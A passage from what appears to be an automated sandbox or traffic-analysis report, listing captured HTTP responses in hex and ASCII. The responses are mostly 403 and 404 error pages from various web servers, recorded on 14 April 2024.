69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:37 GMTServer: Apache/2.4.41 (Ubuntu)Content-Length: 271Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 34 31 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.41 (Ubuntu) Server at 127.0.0.1 Port 80</address></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:01:42 GMTServer: ApacheAccept-Ranges: bytesCache-Control: no-cache, no-store, must-revalidatePragma: no-cacheExpires: 0Keep-Alive: timeout=5, max=100Connection: Keep-AliveTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 33 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 46 6f 72 62 69 64 64 65 6e 0d 0a 31 66 63 61 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:42 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:01:42 GMTServer: Apache/2.4.53 (Fedora) OpenSSL/1.1.1n mod_auth_gssapi/1.6.3 mod_fcgid/2.3.9 mod_wsgi/4.7.1 Python/3.9 mod_perl/2.0.12 Perl/v5.32.1Content-Length: 199Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveContent-Length: 109Date: Sun, 14 Apr 2024 02:01:42 GMTExpires: 0Data Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 68 31 3e 45 72 72 6f 72 20 34 30 34 3a 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <html><head><title>Error 404: Not Found</title></head><body><h1>Error 404: Not Found</h1></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Content-Length: 106Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:01:42 GMTServer: Apache/2.4.6 (CentOS) PHP/5.6.40Content-Length: 10Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 46 6f 72 62 69 64 64 65 6e 2e Data Ascii: Forbidden.
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: CloudFrontDate: Sun, 14 Apr 2024 02:01:42 GMTContent-Type: text/htmlContent-Length: 151Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 43 6c 6f 75 64 46 72 6f 6e 74 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>CloudFront</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service Unavailable: Back-end server is at capacityContent-Length: 0Connection: Close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0 (Ubuntu)Date: Sun, 14 Apr 2024 02:01:45 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:01:45 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveserver: KS-COMPASSCache-Control: no-cacheData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 14 Apr 2024 02:01:46 GMTServer: Apache/2Content-Length: 315Keep-Alive: timeout=2, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: Keep-AliveKeep-Alive: timeout=5, max=100content-type: text/htmllast-modified: Wed, 19 Jul 2023 08:50:26 GMTetag: "999-64b7a3d2-1d29a35a8e82fa6d;;;"accept-ranges: bytescontent-length: 2457date: Sun, 14 Apr 2024 02:01:47 GMTserver: LiteSpeedplatform: hostingerData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 70 72 65 66 69 78 3d 22 63 6f 6e 74 65 6e 74 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 72 73 73 2f 31 2e 30 2f 6d 6f 64 75 6c 65 73 2f 63 6f 6e 74 65 6e 74 2f 20 64 63 3a 20 68 74 74 70 3a 2f 2f 70 75 72 6c 2e 6f 72 67 2f 64 63 2f 74 65 72 6d 73 2f 20 66 6f 61 66 3a 20 68 74 74 70 3a 2f 2f 78 6d 6c 6e 73 2e 63 6f 6d 2f 66 6f 61 66 2f 30 2e 31 2f 20 6f 67 3a 20 68 74 74 70 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 20 72 64 66 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 30 31 2f 72 64 66 2d 73 63 68 65 6d 61 23 20 73 69 6f 63 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 6e 73 23 20 73 69 6f 63 74 3a 20 68 74 74 70 3a 2f 2f 72 64 66 73 2e 6f 72 67 2f 73 69 6f 63 2f 74 79 70 65 73 23 20 73 6b 6f 73 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 34 2f 30 32 2f 73 6b 6f 73 2f 63 6f 72 65 23 20 78 73 64 3a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 4d 4c 53 63 68 65 6d 61 23 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 40 63 68 61 72 73 65 74 20 22 55 54 46 2d 38 22 3b 0a 20 20 20 20 20 20 20 20 5b 6e 67 5c 3a 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 64 61 74 61 2d 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 5b 78 2d 6e 67 2d 63 6c 6f 61 6b 5d 2c 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 63 6c 6f 61 6b 2c 0a 20 20 20 20 20 20 20 20 2e 78 2d 6e 67 2d 63 6c 6f 61 6b 2c 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 68 69 64 65 3a 6e 6f 74 28 2e 6e 67 2d 68 69 64 65 2d 61 6e 69 6d 61 74 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 6e 67 5c 3a 66 6f 72 6d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 61 6e 69 6d 61 74 65 2d 73 68 69 6d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 69 73 69 62 69 6c 69 74 79 3a 20 68 69 64 64 65 6e 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 2e 6e 67 2d 61 6e 63 68 6f 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 6f 73 69 74 69 6f
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Sun, 14 Apr 2024 02:01:47 GMTContent-Type: text/htmlContent-Length: 162Connection: keep-aliveserver: KS-COMPASSCache-Control: no-cacheData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body bgcolor="white"><center><h1>403 Forbidden</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Sun, 14 Apr 2024 02:01:47 GMTContent-Type: text/htmlContent-Length: 612Connection: keep-aliveData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 20 53 6f 72 72 79 20 66 6f 72 20 74 68 65 20 69 6e 63 6f 6e 76 65 6e 69 65 6e 63 65 2e 3c 62 72 2f 3e 0d 0a 50 6c 65 61 73 65 20 72 65 70 6f 72 74 20 74 68 69 73 20 6d 65 73 73 61 67 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 20 74 68 65 20 66 6f 6c 6c 6f 77 69 6e 67 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 74 6f 20 75 73 2e 3c 62 72 2f 3e 0d 0a 54 